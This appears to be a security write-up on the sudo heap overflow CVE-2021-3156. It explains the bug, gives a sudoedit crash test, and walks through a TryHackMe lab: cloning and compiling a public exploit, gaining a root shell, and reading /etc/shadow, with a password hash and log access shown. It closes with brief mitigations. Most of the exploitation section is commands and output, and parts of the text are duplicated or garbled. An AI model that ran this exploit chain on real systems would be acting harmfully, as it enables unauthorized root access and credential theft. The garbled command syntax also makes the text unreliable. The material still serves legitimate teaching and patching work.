Heap-based overflow vulnerability in Sudo

CVE 2021–3156
Akshay Sharma & Yamini Sharma
# Table of Contents

<table>
<thead>
<tr>
<th></th>
<th>Introduction</th>
<th>CVSS &amp; Security</th>
<th>Exploit</th>
<th>Scope of Impact</th>
<th>Scope of the Exploit</th>
<th>Mitigations</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>PAGE - 03</td>
<td>PAGE - 04</td>
<td>PAGE - 04</td>
<td>PAGE - 04</td>
<td>PAGE - 04</td>
<td>PAGE - 04</td>
</tr>
<tr>
<td>2</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>3</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>4</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>5</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>6</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>7</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Introduction

In January 2021, security updates were pushed for the sudo after the vulnerability was found in the sudo versions 1.8.2-1.8.31p2 and 1.9.0-1.9.5p1, which was discovered by Qualys Research Team running on Unix-like operating systems that prone to “Heap-based buffer overflow” which allows any user to escalate privileges as root and access data in an unauthorized way. This vulnerability was hidden for around the last ten years, affecting unpatched versions of sudo programs from 1.8.2-1.8.31p2 and 1.9.0-1.9.5p1, after an update made around July 2011.

Sudo is a powerful utility that is remembered for most if not all Unix-and Linux-based OSes which allows a permitted user to execute a command as the superuser or another user, as specified by the security policy. A heap-based overflow is a type of buffer overflow in which when a chunk of memory is designated to the heap and data is written to this memory without any bound checking done on the data.

Using the command “sudo -e” i.e sudoedit command allows editing files in an insecure manner. Specifically, in this vulnerability it was discovered that when we use sudoedit with the flag -e, we set the MODE_EDIT and MODE_SHELL in sudoer_policy_main(), we avoid the escape code or arguments that end with a single backslash character:

```
sudoedit -s \($(python3 -c 'print("A"*1000)')
```

Through the above command, instead of reading beyond the last character of a string if it ends with an unescaped backslash character. This may permit attackers to misuse this vulnerability to run arbitrary code, which thus prompts running orders with root privileges without validation.

If the system is vulnerable then the above command will overflow the heap buffer allocated dynamically with 1000 A’s characters which will crash the program.

If not, meaning the system is patched and not vulnerable to this vulnerability.
Heap-based overflow vulnerability in Sudo

**CVE 2021-3156**

In this exploit, we are taking Unix like systems which are vulnerable to heap-based buffer overflow sudo vulnerability. Here, we are using a lab environment having a Ubuntu 18.04.5 server with sudo version 1.8.21p2 being vulnerable and also Github repository in the form of exploit for the vulnerability is provided by user Blasty which is pre cloned in the Ubuntu machine.

### Scope of Impact

<table>
<thead>
<tr>
<th>Affected Versions</th>
<th>Unaffected Versions</th>
</tr>
</thead>
<tbody>
<tr>
<td>● 1.8.2 to 1.8.31p2</td>
<td>● Sudo Version &gt;= 1.9.5p2</td>
</tr>
<tr>
<td>● 1.90 to 1.9.5p1</td>
<td></td>
</tr>
</tbody>
</table>

### Prerequisites:

1. Unix based machine with vulnerable sudo version.
2. Exploit containing two C files and a MakeFile (which will be used to compile the exploit)

---

**CVSS**

7.8

**Severity**

High

---

**Scope of the Exploit**

In this exploit, we are taking Unix like systems which are vulnerable to heap-based buffer overflow sudo vulnerability. Here, we are using a lab environment having a Ubuntu 18.04.5 server with sudo version 1.8.21p2 being vulnerable and also Github repository in the form of exploit for the vulnerability is provided by user Blasty which is pre cloned in the Ubuntu machine.
Exploit

1. Clone the Github repository(https://github.com/blasty/CVE-2021-3156)

2. Check the sudo version if it is the affected version or not
   sudo -V
Heap-based overflow vulnerability in Sudo

Exploit

3. As the sudo version is a vulnerable vector we will see if it vulnerable or not using the command

□ sudoedit -s `\ $\{python3 -c 'print("A"*1000)'
```
(if the system is vulnerable it will crash the program and will overwrite the heap buffer)

![Fig. 3.1](image)

4. Now we will perform the exploit first in the home directory we see the Exploit folder

![Fig. 4.1](image)

5. Go into the folder Exploit & here we will see a list of files

- cd Exploit

![Fig. 5.1](image)
Exploit

6. Now, here we can see MakeFile which indicates we can compile the exploit by
   - Using command: make

```
TryHackMe
tryhackme@CVE-2021-3156:~$ cd Exploit
tryhackme@CVE-2021-3156:~$ cd Exploit$ ls
Makefile README.md hax.c lib.c
tryhackme@CVE-2021-3156:~$ Exploits make
rm -rf libness X
mkdir libness X
gcc -o sudo-hax-me-a-sandwich hax.c
```

Fig. 6.1

7. List the content of the folder exploit again and we will see a new file executable file

```
TryHackMe
tryhackme@CVE-2021-3156:~$ ls
exploit
tryhackme@CVE-2021-3156:~$ cd Exploit
tryhackme@CVE-2021-3156:~$ cd Exploits$ ls
Makefile README.md hax.c lib.c libness X sudo-hax-me-a-sandwich
```

Fig. 7.1

8. Run the executable file:
   - ./sudo-hax-me-a-sandwich

```
tryhackme@CVE-2021-3156:~$ Exploit$ ./sudo-hax-me-a-sandwich
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
usage: ./sudo-hax-me-a-sandwich <target>
available targets:
               0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
               1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
               2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
```

Fig. 8.1
9. As the exploit is asking for a target we will check which machine is deployed here
   ● Using the command:
   ● `uname -a`

```
tryHackme@CVE-2021-3156:/Exploits ./sudo-hax-me-a-sandwich
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
usage: ./sudo-hax-me-a-sandwich <target>
available targets:
    0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
    1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
    2) Debian 10.8 (Buster) - sudo 1.8.27, Libc-2.28

tryHackme@CVE-2021-3156:/Exploits uname -a
Linux CVE-2021-3156 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
```

10. As the target machine here is Ubuntu 18.04.5 we will use target 0. On running the command:
    ● `./sudo-hax-me-a-sandwich 0`

```
tryHackme@CVE-2021-3156:/Exploits ./sudo-hax-me-a-sandwich
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
usage: ./sudo-hax-me-a-sandwich <target>
available targets:
    0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
    1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
    2) Debian 10.8 (Buster) - sudo 1.8.27, Libc-2.28
```

Fig. 9.1
```
Fig. 10.1
```

Fig. 9.1
Fig. 10.1
Exploit

11. As from the above command, we got a shell for checking if we got a root shell we will check by:
   - `id & whoami`

```
tryhackme@CVE-2021-3156:~/.Exploit$ ls
Makefile README.md hax.c libnss_x sudo-hax-me-a-sandwich
tryhackme@CVE-2021-3156:~/.Exploit$ ./sudo-hax-me-a-sandwich 0

** CVE-2021-3156 PoC by blasty <peter@haxx.in>

using target; 'Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27'
** pray for your rootshell... **
[+] bling bling! We got it!
# id
uid=0(root) gid=0(root) groups=0(root),1000(tryhackme)
# whoami
root
```

12. We will be reading sensitive files /etc/shadow using:
   - `cat /etc/shadow`

```
[+] bling bling! We got it!
# cat /etc/shadow
root:6zzmD0Zqh4vb9/5GIAvBzvCz3jhr8o0vfhRjkzIJruiyV8l7cW6/7e7t5JaC33fX7a7T7l3aJtN8993/c6mlA68/0:99999:7::
testuser:17647:0:99999:7::
admin:17647:0:99999:7::
sys:17647:0:99999:7::
sync:17647:0:99999:7::
games:17647:0:99999:7::
mail:17647:0:99999:7::
news:17647:0:99999:7::
sup:17647:0:99999:7::
www-data:17647:0:99999:7::
backup:17647:0:99999:7::
list:17647:0:99999:7::
rc:17647:0:99999:7::
mail:17647:0:99999:7::
sudo:17647:0:99999:7::
sudo:17647:0:99999:7::
sudo:17647:0:99999:7::
sudo:17647:0:99999:7::
sudo:17647:0:99999:7::
sudo:17647:0:99999:7::
sudo:17647:0:99999:7::
sudo:17647:0:99999:7::
sudo:17647:0:99999:7::
sudo:17647:0:99999:7::
```

Safe Security 2021
13. We can also access system logs as we got a root shell using:

- `cat /var/log/Syslog`
## Mitigations

1. Monitor SIEM and other applicable environments for execution of the sudoedit command.
2. Apply the available patches as soon as possible to remove and shorten the attack vector.

After this do `tar xzvf sudo-1.9.5p2.tar.gz` and then use `./configure` file & sudo will be updated.